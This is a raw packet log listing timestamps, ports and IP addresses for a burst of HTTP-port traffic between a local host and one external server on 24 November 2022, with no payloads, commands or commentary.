Nov 24, 2022 16:57:36.947732925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947751045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947758913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947768927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947788954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947812080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947834969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948167086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948210001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948227882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948256969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948285103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948302984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948319912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948337078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948349953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948355913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948367119 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948375940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948395014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948395967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948451996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948462963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948477030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948502064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948519945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948528051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948554039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948580027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948594093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948605061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948632002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948647976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948668003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948718071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948735952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948754072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948771954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948779106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948790073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948820114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948836088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948867083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948885918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948904991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948909998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948925018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.948930025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948956966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948982000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.948997974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949007034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949018955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949034929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949059010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949094057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949114084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949122906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949141026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949155092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949160099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949178934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949193954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949203968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949229002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949245930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949253082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949265003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949281931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949307919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949326038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949326992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949343920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949362040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949381113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949390888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949398041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949409008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949415922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949441910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949619055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949646950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949690104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949697971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949717045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949742079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949764967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949770927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949790001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949805975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949815035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949830055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949841022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949867010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949887037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949904919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949909925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949923992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949942112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949944973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949959993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949978113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.949980021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.949996948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950009108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950016022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950042009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950062990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950067043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950078011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950093031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950119972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950134039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950143099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950169086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950193882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950212002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950212955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950229883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950232029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950249910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950268030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950269938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950285912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950304031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950325966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950328112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950342894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950577021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950608969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950622082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950627089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950649023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950673103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950692892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950700045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950706959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950726032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950748920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950773001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950788975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950798035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950808048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950825930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950851917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950872898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950891972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950917006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950938940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950961113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.950963974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950978041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.950984955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951010942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951031923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951052904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951055050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951075077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951075077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951097965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951121092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951136112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951143026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951154947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951167107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951190948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951211929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951232910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951232910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951251030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951256990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951277018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951293945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951317072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951318026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951338053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951513052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951544046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951587915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951589108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951607943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951626062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951642990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951649904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951661110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951668978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951680899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951699018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951715946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951725006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951735020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951745033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951754093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951771975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951780081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951790094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951807976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951831102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951854944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951855898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951888084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951905966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951931000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951936960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951956987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951975107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.951997042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.951997995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952014923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952023029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952049017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952074051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952089071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952097893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952111959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952126026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952152967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952177048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952198029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952202082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952213049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952228069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952246904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952290058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952537060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952565908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952610970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952620983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952639103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952660084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952677011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952683926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952694893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952699900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952713966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952732086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952749014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952759981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952766895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952779055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952785969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952804089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952812910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952821970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952840090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952852011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952857971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952877045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952888966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952892065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952908039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952924013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952951908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.952964067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.952976942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953006029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953008890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953036070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953058004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953079939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953082085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953108072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953109026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953135014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953159094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953180075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953182936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953198910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953208923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953234911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953262091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953445911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953491926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953516960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953538895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953541994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953562021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953568935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953589916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953607082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953624010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953629017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953640938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953651905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953660011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953679085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953685999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953705072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953731060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953743935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953756094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953764915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953782082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953807116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953824997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953841925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953847885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953861952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953866959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953880072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953896999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953902006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953943014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953960896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953979015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.953989029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.953996897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954014063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954015017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954025984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954031944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954056978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954081059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954094887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954108953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954114914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954133987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954158068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954174995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954426050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954448938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954471111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954472065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954494953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954518080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954535007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954540014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954557896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954565048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954588890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954611063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954626083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954633951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954648018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954657078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954679966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954701900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954719067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954722881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954745054 CET	49713	80	192.168.2.3	66.235.200.147
